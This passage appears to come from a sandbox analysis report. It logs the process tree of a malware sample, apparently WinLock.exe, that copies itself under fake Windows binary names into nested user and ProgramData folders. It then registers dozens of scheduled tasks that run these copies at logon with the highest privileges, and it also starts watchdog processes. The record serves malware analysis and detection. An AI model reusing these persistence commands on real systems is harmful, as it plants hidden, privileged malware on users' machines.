    schtasks /create /tn "WinTask_upnpcont_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1FEE.tmp\Logs\upnpcont.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4220
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_extrac32_5" /tr ""C:\Users\Admin\AppData\Roaming\MountTrace\Logs\UpdateCache\extrac32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_extrac32_5" /tr ""C:\Users\Admin\AppData\Roaming\MountTrace\Logs\UpdateCache\extrac32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6108
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wusa_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\wusa.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5548
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wusa_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\wusa.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6848
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_certutil_7" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\UpdateCache\certutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5176
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_certutil_7" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\UpdateCache\certutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4324
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A52.tmp\Logs\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2892
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A52.tmp\Logs\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4516
- C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\UpdateCache\reg.exe
  "C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\UpdateCache\reg.exe" --watchdog-slave
  2⤵
  PID:2060
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SearchIndexer_1" /tr ""C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\SearchIndexer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5996
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SearchIndexer_1" /tr ""C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\SearchIndexer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5948
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ddodiag_2" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4372
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ddodiag_2" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7108
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_MuiUnattend_3" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\MuiUnattend.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1332
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_MuiUnattend_3" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\MuiUnattend.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5024
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dpnsvr_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1B4B.tmp\Logs\UpdateCache\dpnsvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2624
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dpnsvr_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1B4B.tmp\Logs\UpdateCache\dpnsvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7136
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cmdl32_5" /tr ""C:\Users\Admin\AppData\Roaming\InitializeJoin\Logs\UpdateCache\cmdl32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2744
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cmdl32_5" /tr ""C:\Users\Admin\AppData\Roaming\InitializeJoin\Logs\UpdateCache\cmdl32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2964
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_logagent_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\logagent.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4208
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_logagent_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\logagent.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5612
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cmdl32_7" /tr ""C:\ProgramData\MicrosoftService\cmdl32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3396
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cmdl32_7" /tr ""C:\ProgramData\MicrosoftService\cmdl32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3700
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sxstrace_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A0E.tmp\Logs\UpdateCache\sxstrace.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sxstrace_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A0E.tmp\Logs\UpdateCache\sxstrace.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5220
- C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\SearchIndexer.exe
  "C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\SearchIndexer.exe" --watchdog-slave
  2⤵
  PID:3204
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fltMC_1" /tr ""C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\UpdateCache\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3824
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fltMC_1" /tr ""C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\UpdateCache\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3988
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tcmsetup_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\tcmsetup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4204
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tcmsetup_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\tcmsetup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6776
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WSManHTTPConfig_3" /tr ""C:\ProgramData\MicrosoftService\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:416
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WSManHTTPConfig_3" /tr ""C:\ProgramData\MicrosoftService\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2236
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cscript_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A76.tmp\Logs\UpdateCache\UpdateCache\UpdateCache\cscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5708
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cscript_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A76.tmp\Logs\UpdateCache\UpdateCache\UpdateCache\cscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5260
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cmdl32_5" /tr ""C:\Users\Admin\AppData\Roaming\InitializeJoin\Logs\UpdateCache\cmdl32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4644
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cmdl32_5" /tr ""C:\Users\Admin\AppData\Roaming\InitializeJoin\Logs\UpdateCache\cmdl32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5328
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_whoami_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\whoami.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4048
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_whoami_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\whoami.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6016
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3940
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_shutdown_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD19EC.tmp\Logs\UpdateCache\shutdown.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4296
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_shutdown_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD19EC.tmp\Logs\UpdateCache\shutdown.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1572
- C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\UpdateCache\UpdateCache\fltMC.exe
  "C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\UpdateCache\UpdateCache\fltMC.exe" --watchdog-slave
  2⤵
  PID:3416
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_1" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\UpdateCache\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5640
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_1" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\UpdateCache\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2732
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesAdvanced_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SystemPropertiesAdvanced.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2688
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesAdvanced_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SystemPropertiesAdvanced.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4660
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_printui_3" /tr ""C:\ProgramData\MicrosoftService\printui.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6340
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_printui_3" /tr ""C:\ProgramData\MicrosoftService\printui.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5132
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_odbcconf_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD19EE.tmp\Logs\UpdateCache\odbcconf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2056
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_odbcconf_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD19EE.tmp\Logs\UpdateCache\odbcconf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6720
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SearchIndexer_5" /tr ""C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\SearchIndexer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SearchIndexer_5" /tr ""C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\SearchIndexer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6920
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Dism_6" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\Dism.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3684
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Dism_6" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\Dism.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2400
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_replace_7" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\UpdateCache\replace.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2656
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_replace_7" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\UpdateCache\replace.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6188
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_runonce_8" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir3776_1656058629\Logs\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5992
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_runonce_8" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir3776_1656058629\Logs\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:748
- C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\UpdateCache\UpdateCache\mfpmp.exe
  "C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\UpdateCache\UpdateCache\mfpmp.exe" --watchdog-slave
  2⤵
  PID:1404
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_1" /tr ""C:\Users\Admin\AppData\Roaming\UnregisterTest\Logs\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1720
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_1" /tr ""C:\Users\Admin\AppData\Roaming\UnregisterTest\Logs\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3900
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpscript_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\gpscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6024
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpscript_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\gpscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5032
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5568
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6736
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_compact_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD200F.tmp\Logs\UpdateCache\UpdateCache\compact.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:1160
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_compact_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD200F.tmp\Logs\UpdateCache\UpdateCache\compact.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5484
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fltMC_5" /tr ""C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4108
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fltMC_5" /tr ""C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2896
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_makecab_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6304
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_makecab_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:216
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dccw_7" /tr ""C:\ProgramData\MicrosoftService\dccw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dccw_7" /tr ""C:\ProgramData\MicrosoftService\dccw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2188
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WinLock_8" /tr ""C:\Users\Admin\AppData\Local\Temp\UpdateCache\UpdateCache\UpdateCache\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1152
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WinLock_8" /tr ""C:\Users\Admin\AppData\Local\Temp\UpdateCache\UpdateCache\UpdateCache\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:468
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_1" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\UpdateCache\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4160
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_1" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\UpdateCache\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1608
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_runas_2" /tr ""C:\Users\Admin\AppData\Local\Publishers\Logs\runas.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2864
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_runas_2" /tr ""C:\Users\Admin\AppData\Local\Publishers\Logs\runas.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3064
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ntprint_3" /tr ""C:\ProgramData\MicrosoftService\ntprint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2060
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ntprint_3" /tr ""C:\ProgramData\MicrosoftService\ntprint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4580
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dpapimig_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1ACC.tmp\Logs\UpdateCache\dpapimig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6796
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dpapimig_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1ACC.tmp\Logs\UpdateCache\dpapimig.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:964
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_5" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3976
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_5" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5212
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_credwiz_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\credwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_credwiz_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\credwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5932
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_winver_7" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\winver.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:6288
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_winver_7" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\winver.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2756
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fixmapi_8" /tr ""C:\Users\Admin\AppData\Local\Temp\3124306530\Logs\UpdateCache\fixmapi.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3424
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fixmapi_8" /tr ""C:\Users\Admin\AppData\Local\Temp\3124306530\Logs\UpdateCache\fixmapi.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5772
- C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\UpdateCache\UpdateCache\tasklist.exe
  "C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\UpdateCache\UpdateCache\tasklist.exe" --watchdog-slave
  2⤵
  - Discovers running processes
  PID:5264
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_1" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:6860
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_1" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:596
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SecEdit_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SecEdit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5884
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_recover_3" /tr ""C:\ProgramData\MicrosoftService\recover.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6128
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_clip_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\clip.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1300
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TraceAssert_5" /tr ""C:\Users\Admin\AppData\Roaming\ConvertToExpand\UpdateCache\TraceAssert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ipconfig_6" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\ipconfig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rdrleakdiag_7" /tr ""C:\ProgramData\MicrosoftService\rdrleakdiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6572
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rdrleakdiag_7" /tr ""C:\ProgramData\MicrosoftService\rdrleakdiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5336
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fltMC_8" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6368
- C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\Windows.Media.BackgroundPlayback.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\Windows.Media.BackgroundPlayback.exe" --watchdog-slave
  2⤵
  PID:4648

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
PID:3004

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" /setup
1⤵
PID:3844

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
1⤵
PID:4792

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --init
1⤵
PID:5036

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --wininit
1⤵
PID:1524

